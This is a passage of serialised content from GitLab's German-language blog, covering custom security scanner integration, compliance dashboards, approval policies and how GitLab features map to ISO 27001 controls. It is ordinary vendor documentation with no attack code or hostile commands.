Einhaltung von Konformitätsstandards](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html) listet den Status der Einhaltung von Projekten auf, die dem GitLab-Standard entsprechen.\n\n– Der [Bericht über Konformitätsverstöße](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) zeigt eine allgemeine Ansicht der Merge-Request-Aktivität für alle Projekte in der Gruppe.\n\n– Der [Bericht über Konformitätsframeworks](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html) zeigt alle Konformitätsframeworks einer Gruppe.\n\n– Der [Bericht über Konformitätsprojekte](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_projects_report.html) zeigt die Konformitätsframeworks, die auf Projekte einer Gruppe angewendet werden.\n\n\n![Konformitäts-Center](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/16-Compliance-Center.png)\n\n\nMit diesen Dashboards kannst du sicherstellen, dass die Aufgabentrennung eingehalten wird, um die Konformität in deinem Unternehmen zu optimieren. Weitere Informationen findest du in der [Konformitäts-Center-Dokumentation](https://docs.gitlab.com/ee/user/compliance/compliance_center/).\n\n\n## Weiterlesen\n\n\nDieser Artikel behandelt nur einen Teil des breiten Spektrums an Sicherheitsfunktionen, die GitLab Ultimate bietet. Schau dir diese Ressourcen an, um mehr darüber zu erfahren, wie GitLab Ultimate dazu beitragen kann, die Sicherheit deines Unternehmens und die Effizienz deiner Entwickler(innen) zu verbessern:\n\n\n– [Was spricht für GitLab Ultimate?\n\n](https://about.gitlab.com/pricing/ultimate/)\n\n– [Tutorial: Erste Schritte mit DevSecOps](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n\n– [Beispielprojekt: Erste Schritte mit DevSecOps](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n\n– [Dokumentation: Importiere dein Projekt von GitHub in GitLab](https://docs.gitlab.com/ee/user/project/import/github.html)\n\n– [Dokumentation: Migration von GitHub Actions](https://docs.gitlab.com/ee/ci/migration/github_actions.html)\n\n– [Tutorial: Erstelle deine erste GitLab CI/CD-Pipeline und führe sie aus](https://docs.gitlab.com/ee/ci/quick_start/)\n\n– [Tutorial: Erstelle eine komplexe Pipeline](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html)\n\n– [CI/CD-YAML-Syntaxreferenz](https://docs.gitlab.com/ee/ci/yaml/)\n",[823],"2025-06-24","2024-05-01","GitLab Ultimate vs. GitHub Security: Der vollständige Vergleich und Migrationsleitfaden 2025",[743,973,14,806,974],"zero trust","testing","GitHub hat Advanced Security in zwei teure Einzelprodukte aufgeteilt. Entdecke, wie GitLab Ultimate mehr bietet und spare dabei Geld. Inklusive vollständiger Migrationsanleitung und aktuellem Feature-Vergleich 2025.",{"slug":977,"featured":93,"template":683},"migration-guide-github-advanced-security-to-gitlab-ultimate","content:de-de:blog:migration-guide-github-advanced-security-to-gitlab-ultimate.yml","Migration Guide Github Advanced Security To Gitlab Ultimate","de-de/blog/migration-guide-github-advanced-security-to-gitlab-ultimate.yml","de-de/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"_path":983,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":984,"content":990,"config":996,"_id":998,"_type":16,"title":999,"_source":18,"_file":1000,"_stem":1001,"_extension":21},"/de-de/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"title":985,"description":986,"ogTitle":985,"ogDescription":986,"noIndex":6,"ogImage":987,"ogUrl":988,"ogSiteName":794,"ogType":795,"canonicalUrls":988,"schema":989},"So integrierst du benutzerdefinierte Sicherheitsscanner in GitLab","Erfahre, wie du die DevSecOps-Plattform erweiterst, indem du benutzerdefinierte Sicherheitsscanner in deine Workflows einfügst (einschließlich Tutorial).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097082/Blog/Hero%20Images/Blog/Hero%20Images/securitycheck_securitycheck.png_1750097081856.png","https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"So integrierst du benutzerdefinierte Sicherheitsscanner in GitLab\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n \"datePublished\": \"2024-02-27\",\n }",{"title":985,"description":986,"authors":991,"heroImage":987,"date":992,"body":993,"category":14,"tags":994,"updatedDate":995},[823],"2024-02-27","GitLab, die umfassendste DevSecOps-Plattform, bietet alles, was du zum Planen, Verwalten, Erstellen, Bereitstellen, Sichern, Steuern und Überwachen deiner Anwendungen brauchst. Dennoch gibt es Fälle, in denen du GitLab mit Tools von Drittanbietern oder eigenen Tools erweitern möchtest. Du musst zum Beispiel von separaten Lösungen auf eine DevSecOps-Plattform migrieren, Tools von Drittanbietern evaluieren oder eigene oder selbst entwickelte Lösungen in GitLab integrieren.\n\n## Folgende Themen werden hier behandelt\n\n- [Erweiterbarkeit der DevSecOps-Plattform von GitLab](#erweiterbarkeit-der-devsecops-plattform-von-gitlab)\n- [Die GitLab-Sicherheitsscanner-Integration](#die-gitlab-sicherheitsscanner-integration)\n - [Sicherheitswidget für Merge Requests](#sicherheitswidget-für-merge-requests)\n - [Pipeline-Sicherheitsbereich](#pipeline-sicherheitsbereich)\n - [Sicherheitslückenbericht](#sicherheitslückenbericht)\n - [Sicherheitslückenseiten](#sicherheitslückenseiten)\n - [Sicherheitsdashboard](#sicherheitsdashboard)\n - [Merge-Request-Approvalrichtlinien-Integration](#merge-request-approvalrichtlinien-integration)\n- [Tutorial: Integration von benutzerdefinierten Sicherheitsscannern](#tutorial-integration-von-benutzerdefinierten-sicherheitsscannern)\n - [Erstellen eines benutzerdefinierten Sicherheitsscanners](#erstellen-eines-benutzerdefinierten-sicherheitsscanners)\n - [Integrieren eines benutzerdefinierten Sicherheitsscanners in GitLab](#integrieren-eines-benutzerdefinierten-sicherheitsscanners-in-gitlab)\n- [Mehr erfahren](#mehr-erfahren)\n\n## Erweiterbarkeit der DevSecOps-Plattform von GitLab\n\nGitLab kann auf viele Arten erweitert werden, um erweiterte Funktionen zu unterstützen, die dein Unternehmen benötigt. Einige gängige Beispiele für diese Integrationen sind:\n\n- externe Anwendungsintegrationen wie Jenkins und Slack\n- externe Integrationen zur Ticketverfolgung wie Bugzilla und Jira\n- externe Integrationen von Authentifizierungsanbietern wie LDAP und SAML\n- externe Integrationen von Sicherheitsscannern wie Fortify und Checkmarx\n- die Möglichkeit, auf durchgesickerte Geheimnisse zu reagieren wie AWS- und GCP-Zugriffsschlüssel\n\nAlle verfügbaren Integrationen findest du in der [Dokumentation zur Integration mit GitLab (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/integration/). (Hinweis: Es sind nicht alle Integrationen in der Dokumentation aufgeführt.)\n\n## Die GitLab-Sicherheitsscanner-Integration\n\n[Sicherheitsscanner von Drittanbietern](https://docs.gitlab.com/ee/integration/#security-improvements) oder [benutzerdefinierte Sicherheitsscanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration) können in GitLab integriert werden, um das Widget für Merge Requests, den Pipeline-Sicherheitsbereich, den Sicherheitslückenbericht, die Sicherheitslückenseiten, das Sicherheitsdashboard und die Merge-Request-Approvalrichtlinien zu füllen. Sehen wir uns die einzelnen Integrationen an.\n\n### Sicherheitswidget für Merge Requests\n\nEin Merge Request enthält ein Sicherheitswidget, das eine Zusammenfassung der neu entdeckten Sicherheitslücken anzeigt.\n\n![Integration von Sicherheitsscannern – Bild 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097088837.png)\n\n\u003Ccenter>\u003Ci>Sicherheitswidget für Merge Requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nWenn du auf eine Sicherheitslücke klickst, wird ein Popup-Fenster angezeigt, das folgende Informationen enthält:\n- Status\n- Beschreibung\n- Projekt\n- Datei\n- Bezeichner\n- Schweregrad\n- Tool\n- Scanner-Anbieter\n\n![Integration von Sicherheitsscannern – Bild 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097088838.png)\n\n\u003Ccenter>\u003Ci>Sicherheitslücken mit Details, die behoben werden können\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p> \n\nBei diesen Sicherheitslücken kann auch reagiert werden, d. h., du kannst sie entweder ignorieren oder ein vertrauliches Ticket dafür erstellen.\n\nDie Ergebnisse eines benutzerdefinierten Scanners können in das Sicherheitswidget eingefügt werden. Die Daten zu den Sicherheitslücken werden aus dem JSON-Schema, das der Scanner ausgibt, zusammengesetzt.\n\n### Pipeline-Sicherheitsbereich\n\nAlle aktivierten Sicherheitsanalysatoren werden in der Pipeline ausgeführt und geben ihre Ergebnisse als Artefakte aus. Diese Artefakte werden verarbeitet, unter anderem durch Deduplizierung, und die Ergebnisse werden auf der Registerkarte „Pipelinesicherheit“ aufgelistet. Von hier aus kannst du auch die resultierenden JSON-Dateien herunterladen.\n\n![Integration von Sicherheitsscannern – Bild 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097088840.png)\n\n\u003Ccenter>\u003Ci>Registerkarte „Pipelinesicherheit“\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners können in die Registerkarte „Pipelinesicherheit“ eingefügt werden. Die Spalten werden anhand des JSON-Schemas, das der Scanner ausgibt, ausgefüllt.\n\n### Sicherheitslückenbericht\n\nDer Sicherheitslückenbericht enthält Informationen zu Sicherheitslücken aus Scans des default-Branch, einschließlich:\n\n- der Gesamtanzahl der Sicherheitslücken pro Schweregrad\n- Filtern für gängige Attribute für Sicherheitslücken\n- Details zu jeder Sicherheitslücke in einer Tabelle\n\n![Integration von Sicherheitsscannern – Bild 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097088842.png)\n\n\u003Ccenter>\u003Ci>Sicherheitslückenbericht\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners für den default-Branch können für den Sicherheitslückenbericht verwendet werden.\n\n### Sicherheitslückenseiten\n\nWenn du im Sicherheitslückenbericht auf eine Sicherheitslücke klickst, gelangst du zur Sicherheitslückenseite. Für jede Sicherheitslücke in einem Projekt gibt es eine Seite, auf der du Details findest, z. B:\n\n- Beschreibung\n- Wann sie erkannt wurde\n- Aktueller Status\n- Wo sie erkannt wurde\n- Verfügbare Aktionen\n- Verknüpfte Tickets\n- Aktionsprotokoll\n- Lösungen\n- Bezeichner\n- Training\n\nDu kannst die Daten auf der Seite mit den Sicherheitslücken nutzen, um eine entdeckte Sicherheitslücke einzugrenzen und sie zu beheben.\n\n![Integration von Sicherheitsscannern – Bild 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097088844.png)\n\n\u003Ccenter>\u003Ci>Sicherheitslückenseite für Sicherheitslücken, bei denen Geheimnisse erkannt wurden\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners können in die Sicherheitslückenseite eingefügt werden. Die Daten zu den Sicherheitslücken werden aus dem JSON-Schema, das der Scanner ausgibt, zusammengesetzt.\n\n### Sicherheitsdashboard\n\nSicherheitsdashboards werden verwendet, um den Sicherheitsstatus deiner Anwendungen zu bewerten. GitLab stellt dir eine Sammlung von Metriken, Bewertungen und Diagrammen für die Sicherheitslücken zur Verfügung, die von den Sicherheitsscannern in deinem Projekt entdeckt wurden. Das Sicherheitsdashboard liefert Daten wie:\n\n- Trends bei Sicherheitslücken über einen Zeitraum von 30, 60 oder 90 Tagen für alle Projekte in einer Gruppe\n- Eine Bewertung in Buchstaben für jedes Projekt, basierend auf dem Schweregrad der Sicherheitslücke\n- Die Gesamtzahl der in den letzten 365 Tagen entdeckten Sicherheitslücken und deren Schweregrad\n\n![Integration von Sicherheitsscannern – Bild 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097088846.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsdashboard auf Gruppenebene\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nIm Sicherheitsdashboard auf Gruppenebene kannst du auf ein Projekt klicken, um auf das spezifische Sicherheitsdashboard zuzugreifen. So erhältst du die 365-Tage-Ansicht.\n\n![Integration von Sicherheitsscannern – Bild 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097088847.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsdashboard auf Projektebene\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n### Merge-Request-Approvalrichtlinien-Integration\n\nMerge-Request-Approvalrichtlinien werden verwendet, um eine Genehmigung auf der Grundlage der Ergebnisse eines oder mehrerer Sicherheitsscanaufträge zu verlangen. Dies kann verhindern, dass unsicherer Code in die Produktion übernommen wird. Merge-Request-Approvalrichtlinien werden nach der vollständigen Ausführung eines CI-Scanauftrags ausgewertet, wobei die Richtlinien auf der Grundlage der Job-Artefaktberichte, die in der abgeschlossenen Pipeline veröffentlicht werden, bewertet werden.\n\nDu kannst beispielsweise eine Richtlinie für Merge-Request-Approvalrichtlinien erstellen, die die Genehmigung von Projektbetreuer(inne)n erfordert, wenn ein Scanner zur Erkennung von Geheimnissen Sicherheitslücken findet. Das geht so:\n\n1. Wähle in der linken Seitenleiste **Suchen oder aufrufen** aus und suche nach dem Projekt, dem du eine Richtlinie hinzufügen möchtest.\n2. Gehe in der linken Seitenleiste des Projekts zu **Sicherheit > Richtlinien**.\n3. Wähle **Neue Richtlinie** aus.\n4. Wähle im Abschnitt **Merge-Request-Approvalrichtlinien** **Richtlinie auswählen** aus.\n5. Fülle die Felder aus:\n- Name: der Name der Richtlinie\n- Beschreibung: die Beschreibung der Richtlinie\n- Richtlinienstatus: ob sie aktiviert ist oder nicht\n- Regeln: die Bedingungen, die erfüllt sein müssen, damit eine Aktion (Approval erforderlich) ausgeführt wird\n\n![Integration von Sicherheitsscannern – Bild 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097088849.png)\n\u003Ccenter>\u003Ci>Regeln für Merge-Request-Approvalrichtlinien\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Aktionen: die Aktion, die ausgeführt werden soll, wenn die Bedingungen in den Regeln (definierte Schwachstellen/erkannte Lizenzen) erfüllt sind\n\n![Integration von Sicherheitsscannern – Bild 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097088850.png)\n\n\u003Ccenter>\u003Ci>Aktionen für Merge-Request-Approvalrichtlinien\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Überschreiben von Projekt-Approvaleinstellungen: Wenn diese Option ausgewählt ist, überschreiben die folgenden Optionen die Projekteinstellungen. Dies wirkt sich jedoch nur auf die in der Richtlinie ausgewählten Branches aus.\n\n![Integration von Sicherheitsscannern – Bild 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097088851.png)\n\n \u003Ccenter>\u003Ci>Einstellungen für Merge-Request-Approvalrichtlinien\u003C/i>\u003C/center>\n \u003Cp>\u003C/p>\n\n6. Klicke auf die Schaltfläche „Mit einem Merge Request konfigurieren“.\n\nSobald die Merge-Request-Approvalrichtlinie zusammengeführt wurde, wird die definierte Aktion ausgelöst, wenn du einen Merge Request erstellst und die in den Regeln definierten Kriterien erfüllt sind. In diesem Fall ist mindestens die Zustimmung einer Person erforderlich, bevor der Code zusammengeführt werden kann.\n\n![Integrierter Sicherheitsscanner – Bild 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097088852.png)\n\n\u003Ccenter>\u003Ci>Merge Request aufgrund erkannter Sicherheitslücken blockiert\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners können vollständig in die Merge-Request-Approvalrichtlinien integriert werden. Wenn der benutzerdefinierte Scanner eine Sicherheitslücke entdeckt, ist ein Approval erforderlich, bevor der Code zusammengeführt werden kann. Der Scanner, den du in einer Merge-Request-Approvalrichtlinie auswählst, muss das entsprechende JSON-Schema verwenden.\n\n## Tutorial: Integration von benutzerdefinierten Sicherheitsscannern\n\nJetzt kommen wir zum spannenden Teil: der Integration eines benutzerdefinierten Sicherheitsscanners. In diesem Tutorial lernst du, wie du einen benutzerdefinierten Sicherheitsscanner erstellst und wie du ihn in GitLab integrierst. Wir werden die folgenden Projekte nutzen:\n\n- [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner): Er durchsucht deine Dateien nach bestimmten Mustern wie Passwörtern, privaten Schlüsseln und Sozialversicherungsnummern.\n– [Secret List](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/secret-list): Enthält eine Liste von Benutzerpasswörtern, Clients und Schlüsseln. Dieses Projekt wird verwendet, um zu zeigen, wie ein benutzerdefinierter Sicherheitsscanner in GitLab integriert werden kann.\n\nIm folgenden Video kannst du dir ansehen, wie die Anwendung erstellt wurde und wie sie im Detail verwendet wird:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/timMbl5SP-w?si=R2DKtZ5MmBR1rQFL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Erstellen eines benutzerdefinierten Sicherheitsscanners\n\nJetzt erstellen wir einen benutzerdefinierten Scanner, der in GitLab integriert werden kann. Bevor ein benutzerdefinierter Scanner vollständig in GitLab integriert werden kann, muss der Scanner:\n- Ein Verzeichnis nach definierten Mustern scannen\n- Eine JSON-Datei nach dem entsprechenden Schema ausgeben\n- Containerisiert und zugänglich sein\n- Eine Vorlage bereitstellen, damit er in einem anderen Projekt ausgeführt werden kann\n\nWenn der [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) in einem Projekt mit der bereitgestellten Vorlage ausgeführt wird, führt er die folgenden Schritte aus:\n1. Er lädt einen Satz von Regeln, die Muster (Regex) definieren, die erkannt werden sollen.\n- Die Regeln können konfiguriert werden, um den sich ändernden Anforderungen deines Unternehmens gerecht zu werden.\n2. Er scannt Dateien auf definierte Muster.\n3. Er gibt einen JSON-Bericht aus, der dem Schema zur Erkennung von Geheimnissen folgt.\n- In diesem Projekt werden Go-Vorlagen verwendet, um eine JSON-Datei zu erstellen.\n- Stelle sicher, dass du das entsprechende Schema verwendest, je nachdem, wonach dein Scanner sucht.\n\nSobald der JSON-Bericht als Artefakt in GitLab geladen wurde, werden das Merge-Request-Widget, der Sicherheitslückenbericht, die Sicherheitslückenseiten, die Merge-Request-Approvalrichtlinien und die Sicherheitsdashboards wie oben definiert befüllt.\n\n### Integrieren eines benutzerdefinierten Sicherheitsscanners in GitLab\n\nSobald du deinen benutzerdefinierten Scanner erstellt hast, der alle Anforderungen für die Integration erfüllt, kannst du ihn in GitLab ausführen.\n\nDas Ausführen eines benutzerdefinierten Scanners ist so einfach wie das Hinzufügen einer Vorlage. Wir können sehen, wie die Vorlage für den Fern Pattern Scanner geladen wird, indem wir uns die Datei `.gitlab-ci.yml` im Projekt [Secret List](https://gitlab.com/gitlab-da/tutorials/security-and-governance/custom-scanner-integration/secret-list) ansehen.\n\n1. Erstelle eine [.gitlab-ci.yml-Datei (Anleitung nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file) in dem Projekt, in dem du den Scanner ausführen möchtest.\n2. Füge die [Vorlage für einen benutzerdefinierten Scanner](https://docs.gitlab.com/ee/ci/yaml/includes.html) hinzu.\n - Du solltest die Vorlage auch mit Umgebungsvariablen konfigurieren können.\n3. Committe die Datei in den Main-Branch.\n\nSobald die Datei übergeben wurde, kannst du sehen, dass der benutzerdefinierte Scanner in deiner Pipeline ausgeführt wird. Sobald die Pipeline abgeschlossen ist, befüllt der Scanner alle oben im Abschnitt [Die GitLab-Sicherheitsscanner-Integration](#gitlab-security-scanner-integration) definierten Bereiche.\n\n## Mehr erfahren\n\nIn diesen englischsprachigen Ressourcen erfährst du mehr über GitLab und die anderen Möglichkeiten, wie du deine DevSecOps-Plattform erweitern kannst:\n\n- [GitLab-Integration für Sicherheitsscanner](https://docs.gitlab.com/ee/development/integrations/secure.html)\n- [GitLab-Partnerintegrationen](https://docs.gitlab.com/ee/integration/)\n- [Gruppe für benutzerdefinierte Sicherheitsscanner-Projekte](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration)\n- [Automatische Reaktion auf die Veröffentlichung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html)\n",[743,14,974,806],"2025-06-10",{"slug":997,"featured":93,"template":683},"how-to-integrate-custom-security-scanners-into-gitlab","content:de-de:blog:how-to-integrate-custom-security-scanners-into-gitlab.yml","How To Integrate Custom Security Scanners Into Gitlab","de-de/blog/how-to-integrate-custom-security-scanners-into-gitlab.yml","de-de/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"_path":1003,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":1004,"content":1010,"config":1016,"_id":1018,"_type":16,"title":1019,"_source":18,"_file":1020,"_stem":1021,"_extension":21},"/de-de/blog/how-gitlab-can-support-your-iso-compliance-journey",{"title":1005,"description":1006,"ogTitle":1005,"ogDescription":1006,"noIndex":6,"ogImage":1007,"ogUrl":1008,"ogSiteName":794,"ogType":795,"canonicalUrls":1008,"schema":1009},"So unterstützt dich GitLab bei deiner ISO-27001-Compliance","GitLab ist dein strategischer Partner und hilft mit seinen Software-Sicherheitsfunktionen dabei, deine ISO-27001-Compliance sicherzustellen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662877/Blog/Hero%20Images/security-cover-new.png","https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"So unterstützt dich GitLab bei deiner ISO-27001-Compliance\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n \"datePublished\": \"2023-09-06\",\n }",{"title":1005,"description":1006,"authors":1011,"heroImage":1007,"date":1012,"body":1013,"category":14,"tags":1014,"updatedDate":951},[801],"2023-09-06","\nAls eine durchgängige All-Inclusive-Plattform ist es mit GitLab einfach, deinen DevSecOps-Lebenszyklus zu verwalten. Dank der Plattform von GitLab können Entwickler(innen) schneller bessere Software entwickeln. Das ist aber nicht alles, denn GitLab geht über DevSecOps hinaus.\n\nIm Oktober 2022 veröffentlichte die Internationale Organisation für Normung die neueste Version der Norm ISO 27001. ISO/IEC 27001:2022 enthält mehrere Änderungen gegenüber der vorherigen Version, darunter die neuen Control Kategorien aus Anhang A, bei denen es um sicheres Programmieren und Konfigurationsmanagement geht.\n\nWir bei GitLab nutzen unsere Plattform, um viele Aspekte unseres Sicherheitskonformitätsprogramms zu unterstützen – ein Konzept, das wir intern [Dogfooding](https://about.gitlab.com/direction/dogfooding/) nennen. Eine Übersicht über den Nachweis der Einhaltung von Vorschriften und Sicherheit findest du in unserem [Trust Center](https://about.gitlab.com/security/).\n\nSehen wir uns nun die wichtigsten Funktionen an, die du bei deiner ISO-27001-Compliance nutzen kannst.\n\n## Organisatorische Controls\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 5.3 Aufgabentrennung | Widersprüchliche Aufgaben und Verantwortungsbereiche sind zu trennen. |\n| 5.15 Zugriffskontrolle | Regeln zur Kontrolle des physischen und logischen Zugriffs auf Informationen und andere damit verbundene Vermögenswerte müssen auf der Grundlage der Geschäfts- und Informationssicherheitsanforderungen festgelegt und implementiert werden. |\n| 5.16 Identitätsmanagement | Der gesamte Lebenszyklus von Identitäten ist zu verwalten. |\n| 8.2 Privilegierte Zugriffsrechte | Die Vergabe und Nutzung von privilegierten Zugriffsrechten ist einzuschränken und zu verwalten.|\n| 8.4 Zugriff auf Quellcode | Der Lese- und Schreibzugriff auf Quellcode, Entwicklungstools und Softwarebibliotheken ist angemessen zu verwalten. |\n\nMit GitLab kannst du [Benutzer(inne)n eine Rolle zuweisen](https://docs.gitlab.com/ee/user/permissions.html), wenn du sie zu einem Projekt oder einer Gruppe hinzufügst. Die Rolle eines Benutzers/einer Benutzerin legt fest, was er/sie in deiner GitLab-Instanz ausführen kann. Folgende Rollen stehen für die Zuweisung zur Verfügung:\n* Gast (nur private und interne Projekte)\n* Reporter(in)\n* Entwickler(in)\n* Betreuer(in)\n* Eigentümer(in)\n* Minimaler Zugriff (nur für die Hauptgruppe verfügbar)\n\nMit den Rollen von GitLab kannst du die Berechtigungen eines Benutzers/einer Benutzerin gemäß dem [Prinzip der geringsten Privilegien](https://csrc.nist.gov/glossary/term/least_privilege) und deinen Geschäfts- und Informationssicherheitsanforderungen einschränken.\n\nAußerdem kannst du dank GitLab die Authentifizierungs- und Autorisierungsverantwortlichkeiten für deine GitLab-Instanz über [SAML-SSO-Integrationen](https://docs.gitlab.com/ee/user/group/saml_sso/) zentralisieren. GitLab lässt sich in eine Vielzahl von Identitätsanbietern integrieren, um die verschiedenen Technologie-Stacks unserer Kund(inn)en zu unterstützen. GitLab unterstützt auch das System für domänenübergreifendes Identitätsmanagement ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Durch die SSO- und SCIM-Integrationen von GitLab kannst du den Lebenszyklus deiner Benutzeridentitäten sicher und effizient automatisieren.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) und [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) sind auch für selbstverwaltete Kund(inn)en von GitLab verfügbar.\n\n**Hinweis:** Die technologischen Controls 8.2 und 8.4 in Anhang 8 wurden aufgrund ihrer Nähe zu den organisatorischen Controls 5.3, 5.15 und 5.16 in die oben stehende Tabelle aufgenommen. Für die Anforderungen dieser Controls können die gleichen GitLab-Funktionen angewendet werden.\n{: .note}\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 5.8 Informationssicherheit im Projektmanagement | Informationssicherheit ist in das Projektmanagement zu integrieren. |\n\nMit GitLab kannst du unsere [Planungstools](https://about.gitlab.com/features/?stage=plan) für dein Projektmanagement nutzen und so sicherstellen, dass die Informationssicherheit in allen Phasen eines Projektlebenszyklus eingehalten wird.\n\n- Mit der [Teamplanung](https://about.gitlab.com/features/?stage=plan#team_planning) von GitLab können Benutzer(innen) Projektarbeiten von der Idee bis zur Produktion organisieren, planen, abstimmen und nachverfolgen.\n\n- [Epics](https://docs.gitlab.com/ee/user/group/epics/), [Tickets](https://docs.gitlab.com/ee/user/project/issues/) und [Aufgaben](https://docs.gitlab.com/ee/user/tasks.html) können verwendet werden, um gemeinsam an Ideen zu arbeiten, Probleme zu lösen und Arbeiten mit deinem Informationssicherheitsteam zu planen. [Beschreibungsvorlagen](https://docs.gitlab.com/ee/user/project/description_templates.html) und [Checklisten](https://docs.gitlab.com/ee/user/markdown.html#task-lists) ermöglichen es den Benutzer(inne)n, konsistente Beschreibungen und Workflows für Tickets oder [Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) einzuhalten. Mit diesen Vorlagen kann die Informationssicherheit konsistent in deinen Projektmanagement-Lebenszyklus integriert werden.\n\n- [Labels](https://docs.gitlab.com/ee/user/project/labels.html) ermöglichen es Benutzer(inne)n, Probleme so zu organisieren, wie sie es für richtig halten. Im Hinblick auf die Informationssicherheit können Label verwendet werden, um die Risikostufe eines Projekts zu identifizieren, die Phase eines Projekts anzugeben oder das Informationssicherheitsteam zu markieren, das für eine bestimmte Arbeit zuständig ist. [Labels mit begrenztem Geltungsbereich](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) können verwendet werden, um Workflows weitere Logik hinzuzufügen. Sie verhindern nämlich, dass bestimmte Labels zusammen verwendet werden. Bei GitLab nutzen wir [Labels mit begrenztem Geltungsbereich](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels), um die Arbeit, die verschiedenen Teams zugewiesen ist, die Projektphase, in der sich die Arbeit befindet, und das Produkt oder den Funktionsumfang, der mit der Arbeit verbunden ist, zu identifizieren.\n\n![Labels mit begrenztem Geltungsbereich](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/scoped-labels.png)\n\nLabels mit begrenztem Geltungsbereich\n{: .note.text-center}\n\n- Mit [Gruppen-](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) und [Projekt-](https://about.gitlab.com/stages-devops-lifecycle/issueboard/)-Issue-Übersichten kannst du deine Arbeit noch besser organisieren und eine zentrale, zusammengefasste Ansicht für alle mit einer Gruppe oder einem Projekt verbundenen Arbeiten bieten.\n\n## Technologische Controls\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 8.8 Management technischer Sicherheitslücken | 